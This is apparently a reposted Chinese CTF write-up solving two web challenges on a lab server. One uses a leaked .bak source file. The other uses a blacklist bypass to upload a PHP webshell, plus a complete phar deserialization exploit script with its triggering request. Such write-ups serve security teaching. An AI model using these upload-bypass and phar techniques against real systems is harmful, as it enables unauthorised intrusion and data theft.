当前位置: 首页 > news >正文

2025磐石行动第八周WP

1、无权查看

题目如下:

有些小白的运维人员会在服务器上直接做文件备份,比如将一个.php文件备份成.php.bak文件。

那么直接访问index.php.bak文件的源码

view-source:http://192.168.0.10:10013/index.php.bak

得到源码如下:

<?php$user = isset($_GET['user']) ? $_GET['user'] : 'Guest';$password = isset($_GET['password']) ? $_GET['password'] : '';if($user == 'admin' && $password == 'showmetheflag'){require '/flag.txt';}else{echo 'forbidden!';}?>

那么就简单的访问得到flag

GET请求
http://192.168.0.10:10013/index.php?user=admin&password=showmetheflag

得到flag如下:

flag{ba19c1114c8b8ca8d2cadf141602f90f}

2、not only upload

题目如下:

上传 and ...

直接访问发现一个文件上传的页面

解法一:上传一句话木马文件

step1:区分是白名单还是黑名单  黑名单step2:绕过
尝试了php\phtml\.htaccess  发现都不行
尝试了php.\php空格\php%00   发现也不行
尝试一些变种 pht            发现可以

在这里插入图片描述

发现上传成功

./upload/2fd1df5042622d47978f297577d8910b/2.pht

使用一句话木马获取到flag
在这里插入图片描述
得到flag如下:


解法二:phar反序列化

首先dirsearch扫描目录发现如下:

[09:53:01] Starting:  
[09:53:23] 200 - 0B - /flag.php  
[09:53:25] 200 - 226B - /index.php  
[09:53:25] 200 - 226B - /index.php/login/  
[09:53:25] 200 - 239B - /index.php~  
[09:53:43] 301 - 322B - /upload -> http://192.168.0.10:10015/upload/  
[09:53:43] 200 - 2KB - /upload/

访问index.php~得到源码如下:

<?phpclass ORZ {public function __destruct() {global $flag;echo $flag;}}if(isset($_GET['filename'])){$filename = $_GET['filename'];file_get_contents($filename);}?>

看到这个类和filename的文件包含,接着测试了一些上传phar是否可以,发现可以,那么就是phar反序列化啦,phar生成脚本执行的时候需要设置php.ini,第一次搞这个需要注意一下

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

直接上exp

<?php
class ORZ {public function __destruct() {global $flag;echo $flag;}
}
$user = new ORZ();// 生成 phar 文件的格式@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为 phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub$phar->setMetadata($user); //将自定义的 meta-data 存入 manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

接着上传phar文件得到文件路径
在这里插入图片描述

最后执行包含就搞定

GET 请求
http://192.168.0.10:10015/?filename=phar:///var/www/html//upload/2fd1df5042622d47978f297577d8910b/1.phar

在这里插入图片描述

得到flag如下:

flag{6150c50c2d96ae92a8d2536e3c9ec91f}
http://www.xdnf.cn/news/228331.html

相关文章:

  • JavaScript性能优化实战之代码层面性能优化
  • 贪心算法求解边界最大数
  • 精益数据分析(34/126):深挖电商运营关键要点与指标
  • SAP-ABAP:在SAP系统中,COEP表(成本控制对象行项目表)详解
  • AI 生成UI交互效果
  • 基于C++的IOT网关和平台6:github项目ctGateway后台服务和数据模型
  • C++负载均衡远程调用学习之自定义内存池管理
  • SVTAV1源码-set_all_ref_frame_type
  • 专家访谈:从文本到视频,GEO多模态优化的实战法则
  • IDEA git配置[通俗易懂]
  • halcon打开图形窗口
  • 模型部署技巧(一)
  • Python爬虫实战:获取彼岸网高清素材图片
  • Windows 10 环境二进制方式安装 MySQL 8.0.41
  • Locate 3D:Meta出品自监督学习3D定位方法
  • 大模型——使用 StarRocks 作为向量数据库
  • Go 写一个简单的Get和Post请求服务
  • 03_spring配置优先级
  • 回归分析丨基于R语言复杂数据回归与混合效应模型【多水平/分层/嵌套】技术与代码
  • 数智化招标采购系统针对供应商管理解决方案(采购如何管控供应商)
  • Qt/C++面试【速通笔记六】—Qt 中的线程同步
  • 合并两个有序数组
  • DataWorks Copilot 集成 Qwen3-235B-A22B混合推理模型,AI 效能再升级!
  • uniapp 实现时分秒 分别倒计时
  • 大数据平台与数据仓库的核心差异是什么?
  • MySQL RR (Repeatable Read) 隔离级别规则细节
  • 【计算机视觉】目标检测:深度解析Detectron2:Meta开源目标检测与图像分割框架实战指南
  • Linux Nginx网站服务【完整版】
  • 从高端制造到民生场景:天元轻量化软件的“破局”之路
  • 【QT】编写第一个 QT 程序 对象树 Qt 编程事项 内存泄露问题